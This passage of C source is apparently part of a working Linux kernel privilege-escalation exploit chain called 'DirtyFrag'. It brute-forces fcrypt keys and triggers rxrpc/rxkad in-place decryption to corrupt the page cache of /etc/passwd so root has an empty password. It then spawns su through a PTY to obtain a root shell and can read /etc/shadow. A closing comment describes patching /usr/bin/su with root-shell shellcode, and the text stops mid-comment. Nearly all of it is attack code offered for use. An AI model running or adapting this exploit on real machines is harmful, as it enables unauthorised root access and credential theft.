1343 k |= (uint64_t)(key[7] >> 1); 1344 1345 ctx->sched[0x0] = htobe32((uint32_t)k); 1346 fc_ror56_64(k, 11); 1347 ctx->sched[0x1] = htobe32((uint32_t)k); 1348 fc_ror56_64(k, 11); 1349 ctx->sched[0x2] = htobe32((uint32_t)k); 1350 fc_ror56_64(k, 11); 1351 ctx->sched[0x3] = htobe32((uint32_t)k); 1352 fc_ror56_64(k, 11); 1353 ctx->sched[0x4] = htobe32((uint32_t)k); 1354 fc_ror56_64(k, 11); 1355 ctx->sched[0x5] = htobe32((uint32_t)k); 1356 fc_ror56_64(k, 11); 1357 ctx->sched[0x6] = htobe32((uint32_t)k); 1358 fc_ror56_64(k, 11); 1359 ctx->sched[0x7] = htobe32((uint32_t)k); 1360 fc_ror56_64(k, 11); 1361 ctx->sched[0x8] = htobe32((uint32_t)k); 1362 fc_ror56_64(k, 11); 1363 ctx->sched[0x9] = htobe32((uint32_t)k); 1364 fc_ror56_64(k, 11); 1365 ctx->sched[0xa] = htobe32((uint32_t)k); 1366 fc_ror56_64(k, 11); 1367 ctx->sched[0xb] = htobe32((uint32_t)k); 1368 fc_ror56_64(k, 11); 1369 ctx->sched[0xc] = htobe32((uint32_t)k); 1370 fc_ror56_64(k, 11); 1371 ctx->sched[0xd] = htobe32((uint32_t)k); 1372 fc_ror56_64(k, 11); 1373 ctx->sched[0xe] = htobe32((uint32_t)k); 1374 fc_ror56_64(k, 11); 1375 ctx->sched[0xf] = htobe32((uint32_t)k); 1376 } 1377 1378 #define FC_F(R_, L_, sched_) \ 1379 do { \ 1380 union { \ 1381 uint32_t l; \ 1382 uint8_t c[4]; \ 1383 } u; \ 1384 u.l = (sched_) ^ (R_); \ 1385 L_ ^= fc_sbox0[u.c[0]] ^ fc_sbox1[u.c[1]] ^ fc_sbox2[u.c[2]] ^ fc_sbox3[u.c[3]]; \ 1386 } while (0) 1387 1388 static void fcrypt_user_decrypt(const fcrypt_uctx *ctx, uint8_t out[8], const uint8_t in[8]) { 1389 uint32_t L, R; 1390 memcpy(&L, in, 4); 1391 memcpy(&R, in + 4, 4); 1392 FC_F(L, R, ctx->sched[0xf]); 1393 FC_F(R, L, ctx->sched[0xe]); 1394 FC_F(L, R, ctx->sched[0xd]); 1395 FC_F(R, L, ctx->sched[0xc]); 1396 FC_F(L, R, ctx->sched[0xb]); 1397 FC_F(R, L, ctx->sched[0xa]); 1398 FC_F(L, R, ctx->sched[0x9]); 1399 FC_F(R, L, ctx->sched[0x8]); 1400 FC_F(L, R, ctx->sched[0x7]); 1401 FC_F(R, L, ctx->sched[0x6]); 1402 FC_F(L, R, ctx->sched[0x5]); 1403 FC_F(R, L, ctx->sched[0x4]); 1404 FC_F(L, R, ctx->sched[0x3]); 1405 FC_F(R, L, ctx->sched[0x2]); 1406 FC_F(L, R, ctx->sched[0x1]); 1407 FC_F(R, L, ctx->sched[0x0]); 1408 memcpy(out, &L, 4); 1409 memcpy(out + 4, &R, 4); 1410 } 1411 1412 /* For the 2-splice chain we want the line to have EXACTLY 6 ':' and a 1413 * shell field that equals "/bin/bash" (in /etc/shells, valid path). 1414 * The two splices interlock as: 1415 * 1416 * bytes 7..14 (offset 2800): P1 — sets uid=0, gid=1 digit, then 1417 * 4 random gecos-prefix bytes. 1418 * bytes 15..22 (offset 2808): P2 — wipes the original ':' at line 1419 * pos 16, preserves ':' at pos 21 and '/' at pos 22. 1420 * 1421 * Combined line: "test:x:0:G:GGGGGGGGGG:/home/test:/bin/bash" 1422 * pos 0 8 21 32 1423 * 1424 * pw_uid=0, pw_gid=G, pw_dir="/home/test", pw_shell="/bin/bash". 1425 * Now `su -s /bin/bash test` proceeds through the restricted_shell() 1426 * check (because /bin/bash IS in /etc/shells) and exec()s /bin/bash 1427 * under uid=0. 1428 * 1429 * === 3-splice predicates === 1430 * 1431 * After applying splices A, B, C in order to /etc/passwd line 1 1432 * (offsets 4, 6, 8 — each 8 bytes, last-write-wins), the final state 1433 * of chars 4..15 is determined by these P bytes: 1434 * 1435 * char 4 = P_A[0] want: ':' 1436 * char 5 = P_A[1] want: ':' 1437 * char 6 = P_B[0] want: '0' (overwrites P_A[2]) 1438 * char 7 = P_B[1] want: ':' (overwrites P_A[3]) 1439 * char 8 = P_C[0] want: '0' (overwrites P_A[4]/P_B[2]) 1440 * char 9 = P_C[1] want: ':' (overwrites P_A[5]/P_B[3]) 1441 * char 10..14 = P_C[2..6] want: any byte except ':' '\0' '\n' 1442 * char 15 = P_C[7] want: ':' 1443 * 1444 * The constraints on P_A[2..7] and P_B[2..7] are vacuous because they 1445 * are overwritten before /etc/passwd is read by anyone — we only care 1446 * about the final state. */ 1447 static inline int fc_check_pa_nullok(const uint8_t P[8]) { 1448 return P[0] == ':' && P[1] == ':'; 1449 } 1450 1451 static inline int fc_check_pb_nullok(const uint8_t P[8]) { 1452 return P[0] == '0' && P[1] == ':'; 1453 } 1454 1455 static inline int fc_check_pc_nullok(const uint8_t P[8]) { 1456 if (P[0] != '0') return 0; 1457 if (P[1] != ':') return 0; 1458 if (P[7] != ':') return 0; 1459 for (int i = 2; i < 7; i++) { 1460 if (P[i] == ':' || P[i] == '\0' || P[i] == '\n') return 0; 1461 } 1462 return 1; 1463 } 1464 1465 static uint64_t fc_splitmix64(uint64_t *s) { 1466 uint64_t z = (*s += 0x9E3779B97F4A7C15ULL); 1467 z = (z ^ (z >> 30)) * 0xBF58476D1CE4E5B9ULL; 1468 z = (z ^ (z >> 27)) * 0x94D049BB133111EBULL; 1469 return z ^ (z >> 31); 1470 } 1471 1472 /* Generic brute-force. `predicate` decides if a P is acceptable. */ 1473 typedef int (*pcheck_fn)(const uint8_t P[8]); 1474 1475 static int find_K_offline_generic(const uint8_t C[8], uint64_t max_iters, pcheck_fn check, uint8_t K_out[8], 1476 uint8_t P_out[8], uint64_t seed_init, const char *label) { 1477 fcrypt_uctx ctx; 1478 uint8_t K[8], P[8]; 1479 uint64_t seed = seed_init; 1480 struct timespec ts0, ts1; 1481 clock_gettime(CLOCK_MONOTONIC, &ts0); 1482 1483 for (uint64_t iter = 0; iter < max_iters; iter++) { 1484 uint64_t r = fc_splitmix64(&seed); 1485 memcpy(K, &r, 8); 1486 fcrypt_user_setkey(&ctx, K); 1487 fcrypt_user_decrypt(&ctx, P, C); 1488 1489 if (check(P)) { 1490 memcpy(K_out, K, 8); 1491 memcpy(P_out, P, 8); 1492 clock_gettime(CLOCK_MONOTONIC, &ts1); 1493 double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; 1494 LOG("%s found after %lu iters in %.2fs (%.2fM/s) K=%02x%02x%02x%02x%02x%02x%02x%02x " 1495 "P=%02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", 1496 label, (unsigned long)iter, dt, iter / dt / 1e6, K[0], K[1], K[2], K[3], K[4], K[5], K[6], K[7], P[0], P[1], 1497 P[2], P[3], P[4], P[5], P[6], P[7], (P[0] >= 32 && P[0] < 127) ? P[0] : '.', 1498 (P[1] >= 32 && P[1] < 127) ? P[1] : '.', (P[2] >= 32 && P[2] < 127) ? P[2] : '.', 1499 (P[3] >= 32 && P[3] < 127) ? P[3] : '.', (P[4] >= 32 && P[4] < 127) ? P[4] : '.', 1500 (P[5] >= 32 && P[5] < 127) ? P[5] : '.', (P[6] >= 32 && P[6] < 127) ? P[6] : '.', 1501 (P[7] >= 32 && P[7] < 127) ? P[7] : '.'); 1502 return 0; 1503 } 1504 1505 if ((iter & 0x3ffffff) == 0 && iter > 0) { 1506 clock_gettime(CLOCK_MONOTONIC, &ts1); 1507 double dt = (ts1.tv_sec - ts0.tv_sec) + (ts1.tv_nsec - ts0.tv_nsec) / 1e9; 1508 if (g_cve_ctx.verbose) 1509 fprintf(stderr, " [%s %.1fs] iter=%lu (%.2fM/s)\n", label, dt, (unsigned long)iter, iter / dt / 1e6); 1510 } 1511 } 1512 return -1; 1513 } 1514 1515 int rxrpc_lpe_main(int argc, char **argv) { 1516 if (g_cve_ctx.verbose) fprintf(stderr, "\n=== rxrpc/rxkad LPE EXPLOIT (uid=1000 → root) ===\n"); 1517 if (g_cve_ctx.verbose) fprintf(stderr, "[*] uid=%u euid=%u gid=%u\n", getuid(), geteuid(), getgid()); 1518 1519 { 1520 const char *no_unshare = getenv("POC_NO_UNSHARE"); 1521 if (!no_unshare || *no_unshare != '1') { 1522 const char *do_unshare = getenv("POC_UNSHARE"); 1523 if (do_unshare && *do_unshare == '1') { 1524 if (do_unshare_userns_netns() < 0) return 1; 1525 } 1526 } 1527 } 1528 1529 /* Open a dummy AF_RXRPC socket to autoload the rxrpc kernel module. 1530 * Without this, the first add_key("rxrpc", ...) call fails with ENODEV 1531 * because the kernel key type "rxrpc" is registered by rxrpc_init() in 1532 * the module load path. */ 1533 { 1534 int dummy = socket(AF_RXRPC, SOCK_DGRAM, PF_INET); 1535 if (dummy < 0) { 1536 WARN("socket(AF_RXRPC): %s — module not loadable?", strerror(errno)); 1537 return 1; 1538 } 1539 close(dummy); 1540 LOG("rxrpc module autoloaded via dummy socket(AF_RXRPC)"); 1541 } 1542 1543 /* Open /etc/passwd RO and mmap the first page (which contains the 1544 * root entry on line 1). */ 1545 const char *target_path = getenv("POC_TARGET_FILE"); 1546 if (!target_path || !*target_path) target_path = "/etc/passwd"; 1547 1548 int rfd_ro = open(target_path, O_RDONLY); 1549 if (rfd_ro < 0) { 1550 WARN("open %s RO: %s", target_path, strerror(errno)); 1551 return 1; 1552 } 1553 struct stat st; 1554 fstat(rfd_ro, &st); 1555 if (st.st_size < 32) { 1556 WARN("target too small: %lld", (long long)st.st_size); 1557 return 1; 1558 } 1559 LOG("target %s opened RO, size=%lld, uid=%u gid=%u mode=%04o", target_path, (long long)st.st_size, st.st_uid, 1560 st.st_gid, st.st_mode & 07777); 1561 1562 /* mmap first page so the page-cache page stays pinned. */ 1563 void *map = mmap(NULL, 4096, PROT_READ, MAP_SHARED, rfd_ro, 0); 1564 if (map == MAP_FAILED) { 1565 WARN("mmap: %s", strerror(errno)); 1566 return 1; 1567 } 1568 LOG("mmap'd %s page-cache at %p (PROT_READ|MAP_SHARED)", target_path, map); 1569 1570 /* If a previous attempt already left the root entry in the patched 1571 * "root::0:0:..." form, treat as success and skip the brute-force / 1572 * trigger stages. Otherwise proceed regardless of current state — 1573 * the brute-force re-derives K_A/K_B/K_C from whatever bytes are 1574 * currently at offsets 4/6/8 of the page-cache page, so it works 1575 * even on the corrupt residue from a previous failed run. */ 1576 { 1577 const char *m = (const char *)map; 1578 if (memcmp(m, "root::0:0", 9) == 0) { 1579 LOG("/etc/passwd already patched (root::0:0...) — nothing to do"); 1580 return 0; 1581 } 1582 LOG("/etc/passwd line 1 first 16 bytes:"); 1583 for (int i = 0; i < 16; i++) 1584 if (g_cve_ctx.verbose) fprintf(stderr, "%02x ", (uint8_t)m[i]); 1585 if (g_cve_ctx.verbose) fprintf(stderr, "\n"); 1586 } 1587 if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) BEFORE: '"); 1588 for (int i = 0; i < 32; i++) { 1589 char c = ((const char *)map)[i]; 1590 fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); 1591 } 1592 if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); 1593 1594 /* === STAGE 1 — THREE-SPLICE OFFLINE BRUTE FORCE === 1595 * 1596 * Read THREE 8-byte ciphertexts at file offsets 4, 6, 8. Search 1597 * independently for K_A (chars 4-5 = "::"), K_B (chars 6-7 = "0:"), 1598 * K_C (chars 8-15 = "0:GGGGGG:" with G non-control). All searches 1599 * are user-space only — no kernel/VM interaction. 1600 * 1601 * Last-write-wins ordering: trigger A first (covers 4..11), then B 1602 * (covers 6..13 — overrides A's 6..11), then C (covers 8..15 — 1603 * overrides A's 8..11 and B's 8..13). Final state of chars 4..15: 1604 * chars 4..5 = P_A[0..1] 1605 * chars 6..7 = P_B[0..1] 1606 * chars 8..15 = P_C[0..7] 1607 * =================================================================*/ 1608 uint8_t Ca[8], Cb[8], Cc[8]; 1609 int off_a = 4, off_b = 6, off_c = 8; 1610 if (pread(rfd_ro, Ca, 8, off_a) != 8) { 1611 WARN("pread Ca: %s", strerror(errno)); 1612 return 1; 1613 } 1614 if (pread(rfd_ro, Cb, 8, off_b) != 8) { 1615 WARN("pread Cb: %s", strerror(errno)); 1616 return 1; 1617 } 1618 if (pread(rfd_ro, Cc, 8, off_c) != 8) { 1619 WARN("pread Cc: %s", strerror(errno)); 1620 return 1; 1621 } 1622 1623 LOG("Ca @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_a, Ca[0], Ca[1], Ca[2], Ca[3], Ca[4], Ca[5], 1624 Ca[6], Ca[7], (Ca[0] >= 32 && Ca[0] < 127) ? Ca[0] : '.', (Ca[1] >= 32 && Ca[1] < 127) ? Ca[1] : '.', 1625 (Ca[2] >= 32 && Ca[2] < 127) ? Ca[2] : '.', (Ca[3] >= 32 && Ca[3] < 127) ? Ca[3] : '.', 1626 (Ca[4] >= 32 && Ca[4] < 127) ? Ca[4] : '.', (Ca[5] >= 32 && Ca[5] < 127) ? Ca[5] : '.', 1627 (Ca[6] >= 32 && Ca[6] < 127) ? Ca[6] : '.', (Ca[7] >= 32 && Ca[7] < 127) ? Ca[7] : '.'); 1628 LOG("Cb @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_b, Cb[0], Cb[1], Cb[2], Cb[3], Cb[4], Cb[5], 1629 Cb[6], Cb[7], (Cb[0] >= 32 && Cb[0] < 127) ? Cb[0] : '.', (Cb[1] >= 32 && Cb[1] < 127) ? Cb[1] : '.', 1630 (Cb[2] >= 32 && Cb[2] < 127) ? Cb[2] : '.', (Cb[3] >= 32 && Cb[3] < 127) ? Cb[3] : '.', 1631 (Cb[4] >= 32 && Cb[4] < 127) ? Cb[4] : '.', (Cb[5] >= 32 && Cb[5] < 127) ? Cb[5] : '.', 1632 (Cb[6] >= 32 && Cb[6] < 127) ? Cb[6] : '.', (Cb[7] >= 32 && Cb[7] < 127) ? Cb[7] : '.'); 1633 LOG("Cc @ %d: %02x%02x%02x%02x%02x%02x%02x%02x \"%c%c%c%c%c%c%c%c\"", off_c, Cc[0], Cc[1], Cc[2], Cc[3], Cc[4], Cc[5], 1634 Cc[6], Cc[7], (Cc[0] >= 32 && Cc[0] < 127) ? Cc[0] : '.', (Cc[1] >= 32 && Cc[1] < 127) ? Cc[1] : '.', 1635 (Cc[2] >= 32 && Cc[2] < 127) ? Cc[2] : '.', (Cc[3] >= 32 && Cc[3] < 127) ? Cc[3] : '.', 1636 (Cc[4] >= 32 && Cc[4] < 127) ? Cc[4] : '.', (Cc[5] >= 32 && Cc[5] < 127) ? Cc[5] : '.', 1637 (Cc[6] >= 32 && Cc[6] < 127) ? Cc[6] : '.', (Cc[7] >= 32 && Cc[7] < 127) ? Cc[7] : '.'); 1638 1639 fcrypt_init_sboxes(); 1640 /* selftest */ 1641 { 1642 fcrypt_uctx ctx; 1643 uint8_t z[8] = {0}; 1644 uint8_t cv[8] = {0x0E, 0x09, 0x00, 0xC7, 0x3E, 0xF7, 0xED, 0x41}; 1645 uint8_t pv[8]; 1646 fcrypt_user_setkey(&ctx, z); 1647 fcrypt_user_decrypt(&ctx, pv, cv); 1648 if (memcmp(pv, z, 8) != 0) { 1649 WARN("fcrypt selftest FAILED"); 1650 return 1; 1651 } 1652 } 1653 LOG("fcrypt selftest OK"); 1654 1655 uint8_t Ka[8], Pa_out[8]; 1656 uint8_t Kb[8], Pb_out[8]; 1657 uint8_t Kc[8], Pc_out[8]; 1658 uint8_t Cb_actual[8], Cc_actual[8]; 1659 1660 { 1661 uint64_t max_iters = 10000000000ULL; 1662 const char *e = getenv("LPE_MAX_ITERS"); 1663 if (e) max_iters = strtoull(e, NULL, 0); 1664 uint64_t seed_base = (uint64_t)time(NULL) * 0x100000001ULL ^ (uint64_t)getpid(); 1665 const char *se = getenv("LPE_SEED"); 1666 if (se) seed_base = strtoull(se, NULL, 0); 1667 1668 if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1a: search K_A (chars 4-5 := \"::\") prob ~1.5e-5 ===\n"); 1669 if (find_K_offline_generic(Ca, max_iters, fc_check_pa_nullok, Ka, Pa_out, seed_base, "K_A") != 0) { 1670 WARN("K_A search exhausted"); 1671 return 2; 1672 } 1673 1674 /* After splice A is applied, the ciphertext that splice B will 1675 * see at file offset 6 is NOT the original Cb — it's the bytes 1676 * that splice A wrote to file offsets 6..11 (= Pa[2..7]) plus 1677 * the original bytes 12..13 (= Cb[6..7]). We must derive 1678 * Cb_actual and search K_B against it. */ 1679 memcpy(Cb_actual, Pa_out + 2, 6); 1680 memcpy(Cb_actual + 6, Cb + 6, 2); 1681 LOG("Cb_actual (after splice A) = %02x%02x%02x%02x%02x%02x%02x%02x", Cb_actual[0], Cb_actual[1], Cb_actual[2], 1682 Cb_actual[3], Cb_actual[4], Cb_actual[5], Cb_actual[6], Cb_actual[7]); 1683 1684 if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 1b: search K_B (chars 6-7 := \"0:\") prob ~1.5e-5 ===\n"); 1685 if (find_K_offline_generic(Cb_actual, max_iters, fc_check_pb_nullok, Kb, Pb_out, seed_base ^ 0xa5a5a5a5a5a5a5a5ULL, 1686 "K_B") != 0) { 1687 WARN("K_B search exhausted"); 1688 return 2; 1689 } 1690 1691 /* Same chaining logic for splice C: after splice B, file offsets 1692 * 8..13 hold Pb[2..7]; offsets 14..15 still hold the original 1693 * bytes Cc[6..7]. */ 1694 memcpy(Cc_actual, Pb_out + 2, 6); 1695 memcpy(Cc_actual + 6, Cc + 6, 2); 1696 LOG("Cc_actual (after splice B) = %02x%02x%02x%02x%02x%02x%02x%02x", Cc_actual[0], Cc_actual[1], Cc_actual[2], 1697 Cc_actual[3], Cc_actual[4], Cc_actual[5], Cc_actual[6], Cc_actual[7]); 1698 1699 if (g_cve_ctx.verbose) 1700 fprintf(stderr, "\n=== STAGE 1c: search K_C (chars 8-15 := \"0:GGGGGG:\") prob ~5.4e-8 ===\n"); 1701 if (find_K_offline_generic(Cc_actual, max_iters, fc_check_pc_nullok, Kc, Pc_out, seed_base ^ 0x5a5a5a5a5a5a5a5aULL, 1702 "K_C") != 0) { 1703 WARN("K_C search exhausted"); 1704 return 2; 1705 } 1706 } 1707 1708 if (g_cve_ctx.verbose) fprintf(stderr, "\n[+] Predicted post-corruption /etc/passwd line 1:\n \"root"); 1709 /* chars 4-5 from P_A */ 1710 for (int i = 0; i < 2; i++) fputc((Pa_out[i] >= 32 && Pa_out[i] < 127) ? Pa_out[i] : '.', stderr); 1711 /* chars 6-7 from P_B */ 1712 for (int i = 0; i < 2; i++) fputc((Pb_out[i] >= 32 && Pb_out[i] < 127) ? Pb_out[i] : '.', stderr); 1713 /* chars 8-15 from P_C */ 1714 for (int i = 0; i < 8; i++) fputc((Pc_out[i] >= 32 && Pc_out[i] < 127) ? Pc_out[i] : '.', stderr); 1715 if (g_cve_ctx.verbose) fprintf(stderr, "/root:/bin/bash\"\n"); 1716 1717 /* === STAGE 2 — THREE KERNEL TRIGGERS (in order A → B → C) === 1718 * Each trigger does a single in-place decrypt at the 1719 * indicated /etc/passwd file offset. Last-write-wins on overlapping 1720 * bytes determines the final state. 1721 */ 1722 if (g_cve_ctx.verbose) 1723 fprintf(stderr, "\n=== STAGE 2a: kernel trigger A @ off %d (set chars 4-5 \"::\") ===\n", off_a); 1724 memcpy(SESSION_KEY, Ka, 8); 1725 if (do_one_trigger(rfd_ro, off_a, 8) < 0) { 1726 WARN("kernel trigger A failed"); 1727 return 3; 1728 } 1729 1730 if (g_cve_ctx.verbose) 1731 fprintf(stderr, "\n=== STAGE 2b: kernel trigger B @ off %d (set chars 6-7 \"0:\") ===\n", off_b); 1732 memcpy(SESSION_KEY, Kb, 8); 1733 if (do_one_trigger(rfd_ro, off_b, 8) < 0) { 1734 WARN("kernel trigger B failed"); 1735 return 3; 1736 } 1737 1738 if (g_cve_ctx.verbose) 1739 fprintf(stderr, "\n=== STAGE 2c: kernel trigger C @ off %d (set chars 8-15 \"0:GGGGGG:\") ===\n", off_c); 1740 memcpy(SESSION_KEY, Kc, 8); 1741 if (do_one_trigger(rfd_ro, off_c, 8) < 0) { 1742 WARN("kernel trigger C failed"); 1743 return 3; 1744 } 1745 1746 /* Verify: re-read line 1 of /etc/passwd via mmap. */ 1747 if (g_cve_ctx.verbose) fprintf(stderr, "[*] /etc/passwd line 1 (root entry) AFTER: '"); 1748 for (int i = 0; i < 32; i++) { 1749 char c = ((const char *)map)[i]; 1750 fputc((c == '\n') ? '$' : (c >= 32 && c < 127 ? c : '.'), stderr); 1751 } 1752 if (g_cve_ctx.verbose) fprintf(stderr, "'\n"); 1753 1754 /* Sanity-check: chars 4-5 = "::", 6-7 = "0:", 8-9 = "0:", 15 = ':'. */ 1755 { 1756 const char *m = (const char *)map; 1757 int ok = (m[4] == ':' && m[5] == ':' && m[6] == '0' && m[7] == ':' && m[8] == '0' && m[9] == ':' && m[15] == ':'); 1758 if (!ok) { 1759 WARN("post-trigger sanity check failed — char layout off"); 1760 return 4; 1761 } 1762 } 1763 if (g_cve_ctx.verbose) 1764 fprintf(stderr, 1765 "\n[!!!] HIT — root entry now has empty passwd field, uid=0, " 1766 "gid=0, dir=/root, shell=/bin/bash.\n"); 1767 1768 /* === STAGE 3 — VERIFY VIA getent passwd root === */ 1769 if (g_cve_ctx.verbose) fprintf(stderr, "\n=== STAGE 3: independent verify via `getent passwd root` ===\n"); 1770 { 1771 int p[2]; 1772 if (pipe(p) == 0) { 1773 pid_t pid = fork(); 1774 if (pid == 0) { 1775 close(p[0]); 1776 dup2(p[1], 1); 1777 dup2(p[1], 2); 1778 close(p[1]); 1779 execlp("getent", "getent", "passwd", "root", NULL); 1780 _exit(127); 1781 } 1782 close(p[1]); 1783 char buf[1024]; 1784 ssize_t r = read(p[0], buf, sizeof(buf) - 1); 1785 close(p[0]); 1786 int wstatus = 0; 1787 waitpid(pid, &wstatus, 0); 1788 if (r > 0) { 1789 buf[r] = 0; 1790 if (g_cve_ctx.verbose) fprintf(stderr, "[getent passwd root] %s", buf); 1791 } 1792 if (g_cve_ctx.verbose) 1793 fprintf(stderr, 1794 "[+] PRIMITIVE proven: root entry has empty passwd field " 1795 "via NSS.\n"); 1796 } 1797 } 1798 1799 /* Honour `--corrupt-only` arg or DIRTYFRAG_CORRUPT_ONLY=1 env so 1800 * the chain wrapper can skip the in-process su PTY stage and exec 1801 * /usr/bin/su itself. Avoids the flaky posix_openpt bridge. */ 1802 { 1803 int co_flag = 0; 1804 for (int i = 1; i < argc; i++) 1805 if (!strcmp(argv[i], "--corrupt-only")) { 1806 co_flag = 1; 1807 break; 1808 } 1809 const char *e = getenv("DIRTYFRAG_CORRUPT_ONLY"); 1810 if (e && *e == '1') co_flag = 1; 1811 if (co_flag) return 0; 1812 } 1813 1814 /* === STAGE 4 — `su` (target=root, no password input) === 1815 * PAM common-auth contains "auth [success=2 default=ignore] 1816 * pam_unix.so nullok" — so a target user with empty passwd field 1817 * + nullok flag accepts an empty password. We auto-inject a 1818 * single newline on the "Password:" prompt and then bridge the 1819 * resulting bash to the user's tty. */ 1820 if (g_cve_ctx.verbose) 1821 fprintf(stderr, 1822 "\n=== STAGE 4: spawning interactive root shell via `su` " 1823 "(no password input needed) ===\n\n"); 1824 fflush(stderr); 1825 1826 int master = posix_openpt(O_RDWR | O_NOCTTY); 1827 if (master < 0 || grantpt(master) < 0 || unlockpt(master) < 0) { 1828 WARN("posix_openpt: %s", strerror(errno)); 1829 return 5; 1830 } 1831 char *slave_name = ptsname(master); 1832 1833 struct winsize ws; 1834 if (ioctl(STDIN_FILENO, TIOCGWINSZ, &ws) == 0) { 1835 ioctl(master, TIOCSWINSZ, &ws); 1836 } 1837 1838 pid_t pid = fork(); 1839 if (pid < 0) { 1840 WARN("fork: %s", strerror(errno)); 1841 return 5; 1842 } 1843 if (pid == 0) { 1844 /* child */ 1845 setsid(); 1846 int slave = open(slave_name, O_RDWR); 1847 if (slave < 0) _exit(127); 1848 ioctl(slave, TIOCSCTTY, 0); 1849 dup2(slave, 0); 1850 dup2(slave, 1); 1851 dup2(slave, 2); 1852 if (slave > 2) close(slave); 1853 close(master); 1854 /* `su` with no args targets root. PAM common-auth's pam_unix.so 1855 * nullok accepts the empty passwd we planted in /etc/passwd. */ 1856 execlp("su", "su", NULL); 1857 _exit(127); 1858 } 1859 1860 /* parent: bridge user's tty <-> master. */ 1861 struct termios saved_termios; 1862 int saved_termios_ok = (tcgetattr(STDIN_FILENO, &saved_termios) == 0); 1863 if (saved_termios_ok) { 1864 struct termios raw = saved_termios; 1865 cfmakeraw(&raw); 1866 tcsetattr(STDIN_FILENO, TCSANOW, &raw); 1867 } 1868 1869 int auto_pw_sent = 0; 1870 int stdin_eof = 0; /* set when stdin closes (e.g. /dev/null) */ 1871 char buf[4096]; 1872 /* If LPE_AUTO_VERIFY=1 is set, the bridge will inject 1873 * `id; whoami; exit\n` so it can prove uid=0 non-interactively 1874 * (e.g. when stdin is /dev/null in CI). */ 1875 int auto_verify = 0; 1876 { 1877 const char *e = getenv("LPE_AUTO_VERIFY"); 1878 if (e && *e == '1') auto_verify = 1; 1879 } 1880 int verify_sent = 0; 1881 int total_ms = 0; 1882 for (;;) { 1883 struct pollfd pfds[2] = { 1884 {stdin_eof ? -1 : STDIN_FILENO, POLLIN, 0}, 1885 {master, POLLIN, 0}, 1886 }; 1887 int pr = poll(pfds, 2, 200); 1888 if (pr < 0 && errno != EINTR) break; 1889 total_ms += 200; 1890 1891 if (pfds[1].revents & POLLIN) { 1892 ssize_t n = read(master, buf, sizeof(buf)); 1893 if (n <= 0) break; 1894 (void)write(STDOUT_FILENO, buf, n); 1895 if (!auto_pw_sent && (size_t)n < sizeof(buf)) { 1896 buf[n] = 0; 1897 if (strstr(buf, "Password") || strstr(buf, "password")) { 1898 /* Empty password — PAM nullok will accept it. 1899 * (When pam_unix sees an empty passwd field plus 1900 * nullok it skips the prompt entirely; this branch 1901 * handles the case where some other PAM module 1902 * prints a prompt anyway.) */ 1903 (void)write(master, "\n", 1); 1904 auto_pw_sent = 1; 1905 } 1906 } 1907 } 1908 if (!stdin_eof && (pfds[0].revents & POLLIN)) { 1909 ssize_t n = read(STDIN_FILENO, buf, sizeof(buf)); 1910 if (n <= 0) { 1911 /* stdin EOF — stop reading from it but keep bridging 1912 * master → stdout so su can still finish auth and run 1913 * the optional auto-verify command. */ 1914 stdin_eof = 1; 1915 } else { 1916 (void)write(master, buf, n); 1917 } 1918 } 1919 if (pfds[1].revents & (POLLHUP | POLLERR)) break; 1920 1921 /* Auto-verify: ~1 s after spawn, send `id; whoami; exit\n` so 1922 * the bridge captures uid=0 evidence non-interactively even 1923 * when pam_unix's blank-passwd path skips the prompt. */ 1924 if (auto_verify && !verify_sent && total_ms >= 1000) { 1925 const char cmd[] = "id; whoami; cat /etc/shadow | head -2; exit\n"; 1926 (void)write(master, cmd, sizeof(cmd) - 1); 1927 verify_sent = 1; 1928 } 1929 1930 int status; 1931 pid_t w = waitpid(pid, &status, WNOHANG); 1932 if (w == pid) { 1933 for (int i = 0; i < 5; i++) { 1934 struct pollfd pf = {master, POLLIN, 0}; 1935 if (poll(&pf, 1, 50) <= 0) break; 1936 ssize_t n = read(master, buf, sizeof(buf)); 1937 if (n <= 0) break; 1938 (void)write(STDOUT_FILENO, buf, n); 1939 } 1940 break; 1941 } 1942 } 1943 if (saved_termios_ok) { 1944 tcsetattr(STDIN_FILENO, TCSANOW, &saved_termios); 1945 } 1946 close(master); 1947 return 0; 1948 } 1949 /* 1950 * DirtyFrag chain — uid=1000 → root. 1951 * 1952 * 1. ESP path (authencesn AF_ALG --corrupt-only): overwrites the first 1953 * 160 bytes of /usr/bin/su's page-cache with a static x86_64 root- 1954 * shell ELF. Works on every distro tested regardless of PAM nullok 1955 * or /etc/passwd contents — once invoked, the patched setuid-root 1956 * /usr/bin/su just execs /bin/sh as uid 0. 1957 * 1958 * 2. rxrpc path (Ubuntu fallback): if AF_ALG is sandboxed and the ESP 1959 * path can't reach the page cache, fall back to the rxrpc/rxkad 1960 * nullok primitive that patches /etc/passwd's root entry empty. 1961 * PAM nullok then accepts the empty password during `su -`. 1962 * 1963 * 3. Once either target is corrupted, spawn `/usr/bin/su -` inside a 1964 * fresh PTY and bridge the user's tty to it. The bridge handles 1965 * both the patched-su (no PAM at all) and the patched-passwd (PAM 1966 * nullok) cases uniformly, and works even when the caller is in a 1967 * background process group of an ssh-allocated PTY. 1968 * 1969 */ 1970 #define _GNU_SOURCE 1971 #include <errno.h> 1972 #include <fcntl.h> 1973 #include <poll.h> 1974 #include <sched.h> 1975 #include <signal.h> 1976 #include <stdint.h> 1977 #include <stdio.h> 1978 #include <stdlib.h> 1979 #include <string.h> 1980 #include <sys/ioctl.h> 1981 #include <sys/types.h> 1982 #include <sys/wait.h> 1983 #include <termios.h> 1984 #include <unistd.h> 1985 1986 extern int su_lpe_main(int argc, char **argv); 1987 extern int rxrpc_lpe_main(int argc, char **argv); 1988 1989 /* 1990 * The 8 bytes our su payload places at file offset 0x78 — the first 1991 * instructions of the embedded shell ELF. Sequence: 1992 * 31 ff xor edi, edi 1993 * 31 f6 xor esi, esi 1994 * 31 c0 xor eax, eax 1995 * b0 6a mov al, 0x6a (setgid) 1996 * Distros' original /usr/bin/su has different bytes here, so this is 1997 * a reliable post-patch marker. 1998 * 1999 * (We don't check offset 